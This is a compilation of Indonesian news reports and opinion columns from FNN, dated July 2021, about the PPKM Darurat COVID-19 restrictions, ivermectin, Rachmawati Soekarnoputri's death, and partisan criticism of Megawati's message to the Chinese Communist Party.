COVID-19 dan diterbitkan dalam bentuk Keputusan Menteri Kesehatan Nomor HK.01.07/MENKES/4826/2021. Pengaturan HET itu untuk mencegah para spekulan memanfaatkan kondisi pandemi COVID-19 di Indonesia dengan meraup keuntungan yang tak masuk akal dan malah menghambat penanganan COVID-19.

MUI Jateng: Selama PPKM Darurat,Sholat Berjamaah Hanya untuk Takmir

Semarang, FNN - Majelis Ulama Indonesia (MUI) Jawa Tengah mengeluarkan tausiyah terkait pelaksanaan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Darurat Jawa-Bali yang berlaku tanggal 3-20 Juli 2021. Ketua Umum MUI Jawa Tengah Ahmad Darodji melalui keterangan tertulisnya yang diterima di Semarang, Sabtu, mengatakan dikeluarkannya tausiyah menyusul penyebaran varian baru COVID-19 di beberapa daerah di Indonesia, termasuk Jawa Tengah yang makin tidak terkendali sehingga menyebabkan tingginya kasus baru dan banyak korban jiwa. "Perlu langkah bersama dari setiap komponen bangsa untuk menghentikannya," katanya. Ia mengatakan pada Tausiyah Nomor 04/DP-P.XIII/T/VII/2021 tertanggal 3 Juli 2021 tersebut menyerukan tujuh hal, salah satunya mengajak umat Islam, khususnya para tokoh agama, takmir masjid, dan mushala untuk menjadi pelopor dalam setiap upaya mencari jalan keluar menghentikan penyebaran pandemi COVID-19 dengan tetap mentaati protokol kesehatan sejalan dengan kaidah al wiqaayatu khairun min al ‘ilaaji, yakni pencegahan didahulukan daripada pengobatan. Selain itu, dikatakannya, pengurus takmir diminta menghentikan sementara aktivitas ibadah yang berpotensi menciptakan kerumunan di masjid dan mushola hingga situasi dan kondisi benar-benar terkendali. Dengan demikian, dikatakannya, masyarakat diimbau untuk melaksanakan kegiatan ibadah di rumah masing-masing. "Pelaksanaan ibadah di masjid hanya khusus oleh pengurus/takmir masjid, tapi azan tetap dikumandangkan sebagai tanda masuk waktu salat," katanya. Sedangkan untuk pelaksanaan salat Idul Adha dan penyembelihan hewan kurban, dikatakannya, akan diterbitkan tausiyah berikutnya sesuai dengan perkembangan situasi dan kondisi. "MUI Jawa Tengah mengimbau umat Islam untuk meningkatkan iman dan taqwa kepada Allah SWT dengan bersabar, memperbanyak sedekah, istighfar, istighotsah, dan berdoa agar Allah SWT senantiasa melindungi kita dari berbagai musibah dan menghilangkan wabah COVID-19," katanya. Pihaknya juga mendorong pemerintah agar lebih tegas dalam mengambil tindakan penghentian penyebaran COVID-19.

ASPEK Indonesia Minta Jokowi Lindungi Hak Karyawan Selama PPKM Darurat

Jakarta, FNN - Asosiasi Serikat Pekerja (ASPEK) Indonesia meminta Presiden Joko Widodo tetap melindungi hak para karyawan saat pelaksanaan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Darurat Jawa dan Bali. "Kami mendukung setiap upaya pemerintah dalam mencegah penyebaran COVID-19 di Indonesia. Namun kami juga meminta pemerintah untuk melindungi hak pekerja, yaitu terkait dengan kepastian pekerjaan, kepastian upah, dan kepastian kesejahteraan," kata Presiden ASPEK Indonesia Mirah Sumirat dalam keterangan tertulis yang diterima di Jakarta, Sabtu. Ia mengatakan bahwa pemerintah perlu diingatkan sebab dalam beberapa kali pemberlakuan aktivitas masyarakat justru terjadi pelanggaran-pelanggaran yang dilakukan perusahaan. Sejumlah pelanggaran itu di antaranya seperti tidak membayar upah pekerja serta tak sedikit yang harus mengalami pemutusan hubungan kerja (PHK) massal secara sepihak oleh manajemen perusahaan. Menurutnya perusahaan melakukan kedua hal tersebut dengan dalih terdampak COVID-19. Pemerintah, kata dia, melalui Kementerian Ketenagakerjaan perlu melakukan pengawasan ketat kepada perusahaan yang tidak membayar upah dan yang melakukan PHK massal sepihak. "PPKM Darurat tidak boleh dimanfaatkan oleh pengusaha untuk tidak membayar upah dan melakukan PHK sepihak," kata Mirah. Di samping itu, ASPEK mendorong pemerintah untuk konsisten dalam memperketat arus masuk warga negara asing ke Indonesia. Kebijakan pembatasan harus diterapkan secara rata baik untuk di dalam maupun luar negeri. "Jangan terulang lagi, di saat rakyat Indonesia dibatasi aktivitasnya, malah orang asing diberi kemudahan akses masuk ke Indonesia," katanya. ASPEK juga meminta pemerintah untuk tetap memberikan bantuan sosial tunai kepada masyarakat bawah dan yang terdampak pandemi COVID-19, untuk menjaga kemampuan daya beli masyarakat agar dapat tetap memenuhi kebutuhan hidupnya sehari-hari. "Perketat juga pengawasannya agar tidak disalahgunakan atau dijadikan ladang korupsi oleh pihak-pihak yang tidak bertanggung jawab," demikian Mirah Sumirat.

LaNyalla: Rachmawati Berjasa di Bidang Politik dan Pendidikan Indonesia

Jakarta, FNN - Diah Pramana Rachmawati Soekarno atau yang populer dengan nama Rachmawati Soekarnoputri memiliki jasa bagi kemajuan politik dan pendidikan di Indonesia, kata Ketua Dewan Perwakilan Daerah (DPD) RI AA LaNyalla Mahmud Mattalitti di Jakarta, Sabtu. “Sebagai politikus, beliau kerap memberi kritikan dan masukan. Namun, jangan lupakan juga kiprahnya di dunia pendidikan dengan mendirikan Universitas Bung Karno. Bagaimana pun, Ibu Rachmawati Soekarnoputri telah mengambil perannya di negara ini,” kata LaNyalla mengenang sosok Rachmawati yang wafat di RSPAD Gatot Subroto, Jakarta, Sabtu. Dalam keterangan tertulisnya, LaNyalla pun menyampaikan ucapan bela sungkawa dan duka kepada keluarga Rachmawati. “Duka cita yang mendalam saya sampaikan kepada keluarga besar mantan Presiden Soekarno atas berpulangnya Rachmawati Soekarnoputri. Semoga semua amal ibadahnya diterina Allah SWT dan keluarga yang ditinggalkan diberikan ketabahan,” sebut LaNyalla. Di samping LaNyalla, sejumlah politisi dan pejabat publik juga turut menyampaikan ucapan duka cita atas wafatnya Rachmawati Soekarnoputri. Ucapan duka citta diberikan antara lain oleh Ketua Umum Partai Bulan Bintang Yusril Ihza Mahendra, Juru Bicara Presiden RI Fadjroel Rachman, dan Wakil Ketua MPR RI Hidayat Nur Wahid. Rachmawati Soekarnoputri, adik kandung Ketua Umum Partai Demokrasi Indonesia Perjuangan (PDI-P) Megawati Soekarnoputri, wafat pada usia 70 tahun setelah almarhumah dikabarkan positif COVID-19 pada 26 Juni 2021. Rachmawati merupakan anak ketiga dari Presiden RI Pertama Soekarno dan Fatmawati. Di samping Megawati, Rachmawati juga bersaudara kandung dengan Guntur Soekarnoputra, Sukmawati Soekarnoputri, dan Guruh Soekarnoputra. Di dunia pendidikan, Rachmawati merupakan pendiri Universitas Bung Karno. Sementara itu di dunia politik, Rachmawati merupakan pendiri Partai Pelopor. Semasa hidupnya, Rachmawati pernah menjabat sebagai anggota Dewan Pertimbangan Presiden (Wantimpres) periode 2007-2009. Ia juga menjabat sebagai Wakil Ketua Dewan Pembina Partai Gerakan Indonesia Raya (Gerindra).

PPKM Darurat Layanan GeNose Dihentikan PT KAI

Cirebon, FNN - Manajer Humas PT Kereta Api Indonesia (KAI) Daop 3 Cirebon, Jawa Barat Suprapto mengatakan layanan GeNose kepada calon penumpang di beberapa stasiun dihentikan sementara digantikan dengan surat hasil test negatif tes PCR dan tes antigen, selama Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) darurat. "Untuk layanan GeNose (di beberapa stasiun Daop 3 Cirebon) dihentikan dahulu," kata Suprapto di Cirebon, Sabtu. Ia mengatakan mulai tanggal 5 sampai 20 Juli 2021, pelanggan Kereta Api (KA) jarak jauh di Wilayah Daop 3 Cirebon wajib menunjukkan surat keterangan hasil negatif tes PCR maksimal 2x24 jam atau tes antigen maksimal 1x24 jam sebelum keberangkatan. Selain itu khusus perjalanan KA jarak jauh di Pulau Jawa, pelanggan juga diharuskan menunjukkan kartu vaksin minimal vaksinasi COVID-19 dosis pertama. Untuk hasil tes GeNose pada PPKM darurat tidak digunakan lagi sebagai persyaratan penumpang yang akan menggunakan jasa KA jarak jauh. "(Penghentian pelayanan GeNose) sampai kita informasikan lebih lanjut," tuturnya. Ia menambahkan bagi pelanggan dengan kepentingan khusus yang tidak atau belum divaksin dengan alasan medis, tetap dapat menggunakan Kereta Api Jarak Jauh dengan menunjukkan surat keterangan dari dokter spesialis. Selain itu juga masuh wajib disertai surat negatif PCR atau tes antigen yang masih berlaku. Sedangkan untuk pelanggan di bawah 18 tahun, tidak diharuskan menunjukkan kartu vaksin. "Kemudian untuk pelanggan di bawah 5 tahun, tidak diharuskan menunjukkan hasil PCR atau tes antigen," katanya.

Prof Ari Fahrial Syam: Yang Paling Terganggu Adalah Liver

Jakarta, FNN - Beredar tayangan video dari Dekan Fakultas Kedokteran Universitas Indonesia (FK UI) Prof. DR. dr. Ari Fahrial Syam, Sp.PD, KGEH. Ia mengakui, memang BPOM sudah mengeluarkan izin edar Invermectin, tapi untuk indikasi sebagai obat cacing. Ini harus dipahami. Seperti kita pahami untuk obat cacing yang sudah beredar di tengah masyarakat saat ini, biasanya memang menggunakan dosis tunggal. Jadi, “Bukan obat yang biasa dikonsumsi setiap hari untuk beberapa hari ke depan, umumnya dengan dosis tunggal,” ujarnya. Dan, kalau kita lihat kerjanya pada cacing itu sendiri memang dia membunuh cacing itu secara langsung. Artinya dia bekerja secara lokal. “Kita kan tahu cacing ini ada di saluran pencernaan,” jelas Prof Ari Fahrial Syam. Cacing itu berada di saluran pencernaan, ketika kontak dengan obat ini maka cacing itu akan mati. Obat ini juga digunakan untuk obat parasit-parasit lainnya. Tapi, sekali lagi, Prof. Ari Fahrial Syam mengingatkan, cara kerjanya itu adalah dosis tunggal. Mengapa sekarang ini jadi populer untuk penggunaan Covid-19. Karena ini berdasarkan penelitian in vitro. Penelitian in vitro adalah penelitian yang baru dilakukan di tingkat sel. Istilahnya pra-klinik, belum sampai uji klinik. Nah, di situ disebutkan bahwa memang intermectin itu bisa menghambat kerja dari virus Covid-19 (virus SARS-Cov-2). Tapi sekali lagi, kalau masih in vitro kita belum tahu berapa tepatnya dosis yang digunakan pada animal atau human (manusia) saat manusia mengalami infeksi Covid-19. “Saya rasa ini sangat penting harus diketahui masyarakat bahwa ini adalah sejatinya saat ini masih kita sebut sebagai obat untuk cacing. Dan, kita harus tahu juga ada beberapa efek samping yang muncul pada pasien-pasien yang menggunakan ivermectin ini,” ujarnya. Misalnya, karena ini masuk di saluran pencernaan, pasien mengalami mual, muntah, nyeri ulu hati, diare, sakit kepala, dan jika dikonsumsi dalam jumlah yang besar dalam jangka pendek, itu yang paling terganggu adalah liver. Prof Ari Fahrial Syam menghimbau kepada masyarakat untuk tak terburu-buru membeli obat ini. Apabila tujuannya adalah untuk pencegahan atau bahkan untuk mengobati Covid-19 itu. “Tapi kalau masyarakat ingin mengkonsumsi ini untuk sebagai obat cacing, silakan. Tidak masalah. Karena itu ada yang perlu diperhatikan. Apakah ada alergi sebelumnya. Juga harus bisa mengantisipasi efek samping yang timbul jika mengkonsumsi ivermectin,” katanya. (mth)

Pakar: Sejumlah Negara Sikapi Beragam Ivermectin untuk COVID-19

Jakarta, FNN - Pakar ilmu kesehatan Universitas Indonesia Prof Tjandra Yoga Aditama mengemukakan sejumlah negara di dunia memiliki sikap beragam terhadap Ivermectin sebagai obat untuk menyembuhkan pasien COVID-19. "World Health Organization (WHO) pada 31 Maret 2021 menyatakan bahwa Ivermectin hanya bisa dipakai untuk mengobati COVID-19 dalam konteks penelitian uji klinik," katanya dalam pernyataan tertulis yang diterima di Jakarta, Sabtu. Guru Besar Paru Fakultas Kedokteran UI itu mengatakan WHO sengaja membentuk panel ahli internasional dan independen untuk menganalisa data dari 16 uji “randomized controlled trials” Ivermectin dengan total 2.407 sampel, termasuk pasien COVID-19 yang rawat inap dan rawat jalan. Dikatakan Tjandra, panel ahli menganalisa bukti ilmiah Ivermectin seperti parameter menurunkan kematian, mempengaruhi angka penggunaan ventilasi mekanik, perlu tidaknya dirawat di rumah sakit dan waktu penyembuhan penyakit. "Hasil analisa panel ahli WHO menunjukkan 'very low certainty', antara lain karena keterbatasan metodologi penelitian, jumlah sampel yang terbatas dan terbatasnya kejadian yang dianalisa. Maka WHO hanya merekomendasi penggunaannya pada kerangka uji klinik," katanya. Badan Penelitian dan Pengembangan Kesehatan di Amerika Serikat, kata Tjandra, pada 11 Februari 2021 menyatakan belum cukup data untuk menggunakan atau tidak menggunakan Ivermectin untuk mengobati COVID-19. "Diperlukan suatu penelitian yang benar-benar didesain dengan baik, cukup kuat dan diselenggarakan dengan baik untuk dapat memberi kesimpulan berbasis bukti ilmiah untuk menentukan peran Ivermectin dalam pengobatan COVID-19," katanya. Tjandra mengatakan Badan Pengawasan Obat dan Makanan (FDA) di Amerika Serikat menyatakan tidak menyetujui penggunaan Ivermectin untuk pengobatan dan pencegahan COVID-19. "Pernyataan itu disampaikan FDA pada 5 Mei 2021," katanya. Di benua Eropa, kata Tjandra 'European Medicine Agency (EMA)' dalam pernyatannya pada 23 Maret 2021 menyimpulkan bahwa sejauh ini data yang tersedia tidaklah mendukung penggunaan Ivermectin untuk COVID-19. "Kecuali untuk digunakan pada uji klinik dengan desain yang baik," katanya. Tjandra mengatakan India sudah tidak mencantumkan penggunaan obat ivermectin lagi dalam dokumen resmi yang dikeluarkan oleh “Directorate General of Health Services, Ministry of Health & Family Welfare, Government of India” pada 27 Mei 2021. "Pada dokumen sebelumnya versi tanggal 24 Mei 2021 masih tercantum rekomendasi penggunaan ivermectin dan atau hydroxychloroquine untuk kasus COVID-19 yang ringan, di mana kedua obat ini tidak tercantum lagi dalam versi yang kini versi terakhir, yaitu 27 Mei 2021," katanya. Tjandra menambahkan Jurnal 'American Journal of Therapeutics' yang terbit pada 17 Juni 2021 mempublikasikan bahwa ada bukti moderat terjadi penurunan besar angka kematian akibat COVID-19 dengan menggunakan Ivermectin. "Penggunaan Ivermectin di fase awal penyakit mungkin dapat mengurangi progresifitas menjadi berat," kata Tjandra. Sementara di Inggris, kata Tjandra, baru akan akan melakukan penelitian berskala besar dengan ribuan relawan untuk menilai kemungkinan dampak Ivermectin pada upaya mempercepat penyembuhan pasien. "Apakah menurunkan beratnya penyakit dan apakah dapat mencegah pasien harus dirawat di rumah sakit," ujarnya. (mth)

Mal di Jakarta Tutup Sementara Saat PPKM Darurat

Jakarta, FNN - Sejumlah mal di Jakarta tutup sementara dari aktivitas perdagangan saat Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Darurat 3-20 Juli 2021 untuk mengendalikan penularan COVID-19. "Mal harus tutup, yang buka hanya esensial saja seperti toko swalayan modern (supermarket) dan apotek," kata Corporate Communications Grand Indonesia Annisa Hazarini di Jakarta, Sabtu. Menurut dia, hanya ada dua supermarket yang menjual kebutuhan pokok, yang buka dengan protokol kesehatan ketat. Selain itu, tidak semua gerai makanan dan minuman di dalam mal buka, namun hanya menerima layanan pengantaran dan tidak melayani makan di tempat. Mal lainnya yakni FX Sudirman juga tutup sementara, mengikuti instruksi pemerintah. Pintu gerbang mal yang berada di dekat stadion Gelora Bung Karno (GBK) itu tertutup rapat untuk menghindari kerumunan pengunjung. Pemandangan serupa juga terpantau di Plaza Senayan yang sepi dari lalu lalang pengunjung. Hanya ada petugas keamanan yang melakukan pengawasan serta beberapa pejalan kaki melintas di trotoar depan pusat perbelanjaan tersebut. Mal lainnya yakni Senayan City juga lengang dari aktivitas pengunjung seiring pelaksanaan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Darurat. Sebelumnya, Menteri Dalam Negeri Tito Karnavian resmi menerbitkan Instruksi Mendagri Nomor 15 Tahun 2021 tentang Pemberlakuan Pembatasan Kegiatan Masyarakat atau PPKM Darurat COVID-19 di Jawa dan Bali. Ada sejumlah kegiatan masyarakat khususnya terkait operasional mal/pusat perbelanjaan yang diatur dalam instruksi terbaru itu di antaranya restoran termasuk yang berada di dalam mal hanya boleh melayani pengantaran makanan dan tidak menerima makan di tempat. Adapun pusat perbelanjaan/mal/pusat perdagangan ditutup sementara kecuali akses untuk restoran, toko dan pasar swalayan modern. Supermarket, pasar tradisional, toko kelontong dan pasar swalayan yang menjual kebutuhan sehari-hari dibatasi jam operasional sampai pukul 20.00 WIB. (mth)

Polisi Ancam Pidanakan Pelanggar PPKM

Jakarta, FNN - Pejabat Kepolisian mengancam para pelanggar ketentuan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Darurat bisa kena pasal pidana yang diatur dalam UU 4/1984 tentang Wabah Penyakit Menular dan UU 6/2018 tentang Kekarantinaan Kesehatan. Direktur Reserse Kriminal Umum (Direskrimum) Polda Metro Jaya Kombes Pol Tubagus Ade Hidayat di Jakarta, Sabtu dini hari menjelaskan bahwa pengenaan hukum ini adalah tindak lanjut dari penyidikan yang merupakan salah satu dari dua jenis penindakan, selain yustisi. "Penyidikan masuk tindakan pidana, yang diterapkan adalah UU penganggulangan wabah yang dikenakan pada pelaku berbagai tindakan yang dilarang, yang akan dianggap menghalang-halangi upaya penanggulangan," kata Tubagus yang juga Kepala Satgas Penegakan Hukum dalam masa PPKM Darurat. PPKM Darurat dengan berbagai pembatasan di dalamnya, kata Tubagus, merupakan salah satu bentuk upaya penanggulangan terhadap wabah penyakit, sehingga jika aturan yang sudah ditentukan itu terus dilanggar, dianggap merupakan suatu kegiatan menghalang-halangi penanggulangan wabah penyakit. "Contoh yang nonkritikal yang nonesensial yang seharusnya tutup, tapi dia buka, melaksanakan operasional berarti dia menghalang-halangi terhadap penanggulangan wabah penyakit. Kita terapkan dan akan kita sidik," tutur Tubagus. Terkait dengan hukuman yang akan diberikan, Tubagus menjelaskan bahwa hukumannya adalah ancaman kurungan satu tahun dan/atau denda. Diketahui Jakarta dan kota-kota di Jawa dan Bali diberlakukan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Darurat pada 3-20 Juli 2021. Berdasarkan dokumen yang diterima, ada beberapa usulan perubahan kebijakan untuk PPKM mikro yang sebelumnya diberlakukan. Kegiatan sosial dan perekonomian makin diperketat dalam PPKM Darurat untuk Jakarta ini. Salah satunya, untuk kegiatan di pusat perbelanjaan/mall ditutup, kemudian pelarangan operasi bagi sektor-sektor yang tidak masuk esensial dan kritikal.

Begitu Cintanya Megawati Pada Partai Komunis China

By Asyari Usman Medan, FNN - Pada 1 Juli 2021 baru lalu, Ketua Umum PDIP Megawati Soekarnoputri secara khusus menyampaikan ucapan selamat ulang tahun (ultah) ke-100 (satu abad) Partai Komunis China (PKC). Banyak pujian. Terutama untuk Xi Jinping, sekretaris jenderal partai yang juga merangkap sebagai presiden RRC. Ada beberapa hal yang perlu kita cermati. Pertama, ucapan ultah dari Bu Mega menunjukkan begitu cintanya beliau kepada PKC. Ini sangat menarik. Bu Mega peduli sekali dengan mereka. Apa sebabnya? Bisa jadi Bu Mega merasa ideologi komunis itu cocok dengan perjuangan PDIP. Sebagai contoh, PKC tidak memberikan ruang hidup bagi ketuhanan. Kalau pun ada masjid di Beijing, itu lebih banyak untuk keperluan diplomasi internasional, khususnya dengan negara-negara berpenduduk muslim. Bu Mega dan PDIP pun begitu. Beliau melihat Pancasila yang mengutamakan Ketuhanan Yang Maha Esa harus direvisi. Bu Mega berusaha mengubah Pancasila menjadi Trisila, kemudian Ekasila (gotong-royong). Bu Mega menginginkan agar konsep ketuhanan dihapus, sebagaimana PKC berusaha melenyapkan agama dari rakyat Uigur di Provinsi Xinjiang. Untuk pelenyapan itu, Presiden Xi melakukan pembantaian (genosida) terhadap warga Uigur yang melaksanakan ibadah agama Islam. Sedangkan untuk jangka panjang, pemerintah RRC menerapkan kebijakan yang akan menjauhkan generasi muda Uigur dari Islam. Ini sedang berjalan. Simbol-simbol Islam dihancurkan, termasuk masjid-masjid. Bu Mega tahu itu. Dia tidak berkomentar apa pun. Mungkin saja dia setuju dengan tindakan biadab Xi Jinping. Hal kedua yang menarik untuk dicermati adalah bahwa ucapan khusus ultah seabad PKC itu merupakan kode dari Bu Mega tentang atusiasme PDIP memberikan ruang seluas-luasnya kepada RRC untuk mengolah dan mengelola Indonesia. Pesan ini bukan sesuatu yang baru. Sekadar menekankan kembali agar RRC tidak ragu-ragu masuk ke Indonesia secara besar-besaran. Ketiga, ucapan ultah yang direkam dalam bahasa Indonesia itu merupakan pesan kepada ‘die-hard’ komunis di sini bahwa Bu Mega dan PDIP akan melindungi mereka. Siap mengawal misi mereka. Keempat, ada kata-kata “semoga persahabatan antara 1.4 miliar rakyat China dan 271 juta rakyat Indonesia” akan tetap abadi. Bu Mega tidak etis mengatakan ini. Hanya warga PDIP dan sisa-sisa PKI yang mendambakan perahatan erat dengan China komunis. Hubungan dagang tentu tidak masalah. Karena perdagangan murni tidak harus membukakan pintu kepada RRC untuk menancapkan pengaruh politik mereka di bumi Indonesia. Jadi, Bu Mega seharusnya berhati-hati. Kecuali dia dan PDIP memang bertekad keras untuk menjadikan Indonesia sebagai provinsi RRC. Ucapan ultah itu menunjukkan begitu cintanya Bu Mega kepada PKC. Bertolak belakang dengan kegelisahan rakyat, khususnya umat Islam, terhadap semakin kuatnya cengkeraman RRC di negara ini.[] Penulis wartawan senior FNN.co.id

PPKM Berlaku, Bupati Tengerang Tunda Pemilihan 77 Kades

Tangerang, FNN - Bupati Tangerang, Ahmed Zaki Iskandar kembali menunda pelaksanaan Pemilihan Kepala Desa (Pilkades) serentak di 77 desa hingga 8 Agustus 2021 mendatang. Hal itu dilakukan, seiring penerapan Pemberlakuan Pembatasan Kegiatan Masyarakat​​​​ (PPKM) Darurat Jawa-Bali pada 3-20 Juli 2021. "Pilkades sebelumnya ditunda sampai tanggal 18 Juli. Maka kami koridor forkopimda Kabupaten Tangerang akan kembali menunda pelaksanaan pilkades sampai dengan 8 Agustus 2021," kata Bupati A Zaki di Tangerang, Jumat. Ia mengatakan, dengan kembalinya ditunda pelaksanaan pilkades serentak di Kabupaten Tangerang akan memberikan waktu bagi forum komunikasi pimpinan daerah dan panitia pelaksana pilkades untuk melihat serta mengevaluasi penyebaran COVID-19. "Setelah menerapkan kebijakan PPKM darurat berhasil menekan angka laju penyebaran virus corona. Maka pelaksanaan pilkades serentak di 8 Agustus sudah dapat dilaksanakan," ujarnya. Sebelumnya, Pemerintah Kabupaten (Pemkab) Tangerang sudah menetapkan pilkades serentak pada 4 Juli 2021 yang diikuti oleh calon kades sebanyak 421 orang di 77 desa dari 26 kecamatan di Kabupaten Tangerang.

Mega Menyakiti Rakyat Indonesia

By M Rizal Fadillah Bandung, FNN - Sepertinya tak ada yang salah dari pidato ucapan selamat 100 tahun Partai Komunis Cina (PKC) karena itu hak pribadi bahkan hak sebagai Ketum Partai. Masalahnya adalah bangsa Indonesia memiliki trauma dengan rencana kudeta PKI tahun 1965 yang mendapat dukungan dari Partai Komunis Cina (PKC). Kejahatan penghianatan PKI hampir saja menghancurkan NKRI yang berdasarkan Pancasila. Mudah untuk kenyimpulkan bahwa hubungan PKC dengan PKI sangat erat. Bulan Agustus 1965 DN Aidit, Jusuf Adjitorop, dan tokoh PKI lain datang ke Beijing konsultasi dengan Ketua PKC Mao Ze Dong, PM Zhou En Lay dan Menlu Chen Yi. Menerangkan rencana dan agenda PKI menghadapi Presiden Soekarno yang sakit berat. Ze Dong mengarahkan strategi perundingan dan angkat senjata. Selama 1964 dan 1965 hubungan erat diwujudkan dengan pertukaran budaya, pendidikan, ekonomi antara RRC dan RI. Soekarno pun membuat poros Jakarta-Phnom Penh-Hanoi-Peking-Pyong Yang. PKI merasa tidak sendiri untuk bergerak. Menurut Taomo Zhou China mendukung PKI untuk melanjutkan persatuan dengan Soekarno yang sedang berkonfrontasi dengan Malaysia. Angkatan kelima dicanangkan, rakyat dipersenjatai yang tak lain adalah anggota PKI bersenjata. Pasukan Cakrabirawa di bawah pimpinan Kol. Untung melakukan pembunuhan Jenderal, DN Aidit menghianati Soekarno, PKI dengan sepengetahuan dan dukungan PKC Mao ZeDong membuat fitnah besar di negara Republik Indonesia. Percobaan kudeta dilakukan. Rakyat dan bangsa Indonesia disakiti. Kini Mega mengucapkan selamat ulang tahun ke 100 Partai Komunis Cina (PKC) berpidato memuji-muji RRC di bawah Xi Jinping yang telah memajukan bangsa Tiongkok dan keberhasilan di dunia. Berharap persahabatan Indonesia dengan Cina dapat lebih baik dari sekarang. Persahabatan dengan 271 juta rakyat Indonesia dapat abadi. Pidato Mega ini dapat dinilai menyakitkan bangsa Indonesia, seperti melupakan sejarah. Ada tiga kesalahan utama, yaitu : Pertama, semestinya bila dianggap penting bagi diri dan partai, Mega mengucapkan selamat cukup dengan berkirim surat kepada PKC atau Xi Jinping. Dengan mempublikasikan melalui video maka ini membuka luka lama dan "menantang" bangsa Indonesia sendiri. Kedua, Mega tidak memiliki kepekaan perasaan bahwa sebagian rakyat Indonesia sedang mengkhawatirkan "serbuan TKA Cina" yang bukan saja yang telah menciptakan kesenjangan lapangan kerja tetapi juga membangun misteri kualifikasi TKA dan Tentara Merah. Neo PKI dengan Ideologi komunis yang diwaspadai bangkitnya. Ketiga, klaim harapan adanya persahabatan abadi 271 Juta rakyat Indonesia dengan Cina pimpinan atau kendali PKC adalah berlebihan. Jika berharap persahabatan abadi dengan partainya bolehlah dan wajar, tetapi klaim harapan menarik seluruh rakyat Indonesia sungguh menjadi tidak wajar. Megawati bukan Presiden RI kini. Sangat disayangkan sebenarnya pidato terbuka Mega yang dinilai telah menyakitkan bangsa Indonesia. PKC bukan sahabat yang baik. Sejarah telah membuktikan. Kita teringat pidato Bung Karno terakhir tanggal 17 Agustus 1966 yang menggetarkan "Djangan Sekali-kali Meninggalkan Sedjarah !" *) Pemerhati Politik dan Kebangsaan

PPKM Darurat, Lockdown Tapi Rakyat yang Nanggung Biayanya

PEMERINTAH secara resmi akan memberlakukan PPKM darurat mulai Sabtu (3/7). Kebijakan tersebut akan berlaku selama 18 hari. PPKM Darurat yang berlaku untuk Jawa dan Bali itu, akan berakhir bersamaan dengan Hari Raya Iedul Adha 1442 H, Selasa 20 Juli 2021. Dengan pemberlakuan PPKM Darurat berlaku berbagai pembatasan: Perkantoran, pertokoan, mall, tempat-tempat ibadah, tempat hiburan, dan publik area ditutup. Semua kegiatan yang bisa menimbulkan keramaian, mulai dari olahraga,seni budaya, kegiatan sosial, semuanya ditiadakan. Semua tranportasi umum dibatasi maksimal 70 persen dari kapasitas. Sementara rumah makan, warung, cafe hanya menerima delivery/take away. Supermarket, pasar tradisional, toko kelontong dan tempat belanja kebutuhan sehari-hari jam operasionalnya dibatasi. Hanya beberapa sektor yang esensial tetap buka, untuk melayani kepentingan publik. Secara esensi PPKM Darurat sebenarnya hampir sama dengan lockdown, namun dengan beberapa modifikasi. Pembatasan secara ketat semacam ini walaupun terlambat, namun perlu tetap diapresiasi dengan berbagai catatan. Sejak awal pandemi, sesungguhnya para ahli epedimiolog sudah menyarankan dilakukan pembatasan yang ketat untuk mencegah penyebaran pandemi. Secara scientis pembatasan yang ketat atau yang dikenal dengan lockdown terbukti berhasil mengendalikan penyebaran virus Corona. Negara-negara yang melakukan lockdown, kini merayakan “kemenangan” melawan pandemi. Aktivitas warga dilonggarkan, termasuk melepas masker. Namun pemerintah tampaknya sangat alergi dengan istilah lockdown. Para buzzer pemerintah bahkan beramai-ramai menyerang para ahli yang menyarankan lockdown. Maka muncul lah berbagai istilah seperti PSBB, PPKM Mikro, sampai PPKM Darurat. Hasilnya seperti kita rasakan sekarang. Setelah 16 bulan melawan pandemi, kita harus menghadapi realitas pahit. Angka penularan Covid bukannya menurun, malah melonjak. Fasilitas kesehatan terancam kolaps, dan perekonomian rakyat remuk. Dengan PPKM Darurat sejatinya pemerintah telah melakukan lockdown, namun biayanya ditanggung sendiri oleh rakyat. Konskuensi lockdown, alias karantina kewilayahan sebagaimana diatur UU, pemerintah harus menanggung biaya hidup semua warga. Termasuk binatang ternak di wilayah tersebut. Inilah tampaknya yang sejak awal dihindari oleh pemerintah, di luar adanya kepentingan lobi bisnis yang tetap menginginkan aktivitas perekonomian, dengan mengabaikan kesehatan rakyat. Menteri Keuangan Sri Mulyani menyatakan selama PPKM Darurat Bansos diperpanjang, sementara tarif listrik didiskon. Pemerintah juga membuka kembali pendaftaran Kartu Prakerja untuk 2,8 juta orang. Dana yang digelontorkan sebesar Rp 10 trilyun. Tapi semua itu tidak memadai. Tidak mencover semua kebutuhan warga. Sejak awal program Kartu Prakerja juga dikritik. Pertama, program ini sangat absurd. Memberikan pelatihan kerja disaat banyak lapangan kerja yang tutup. Mereka mau kerja dimana? Kedua, penikmat utamanya adalah mitra platform yang menyediakan modul-modul pelatihan. Kebanyakan mereka adalah orang dekat lingkar kekuasaan. Beberapa waktu lalu pemilik platform adalah salah seorang Staf Milineal Presiden. Dari anggaran Kartu Prakerja kali ini sebesar Rp 2,8 triliun masuk ke kantong mitra platform. Ketiga, materi yang disediakan oleh mitra platform kebanyakan bisa diperoleh secara gratis di berbagai platform media sosial. Jadi pemerintah hanya buang-buang dan bagi-bagi anggaran. Sekarang rakyat dihadapkan pada pilihan yang sangat berat dan sulit. Ancaman Covid makin menggila. Beban kehidupan bertambah berat. Sementara pemerintah memberlakukan kebijakan, tapi tak mau menanggung biayanya. Lantas apa gunanya kita punya pemerintah?

Pengamat: Laporkan Bila Ada Pencucian Uang di Sektor Perikanan

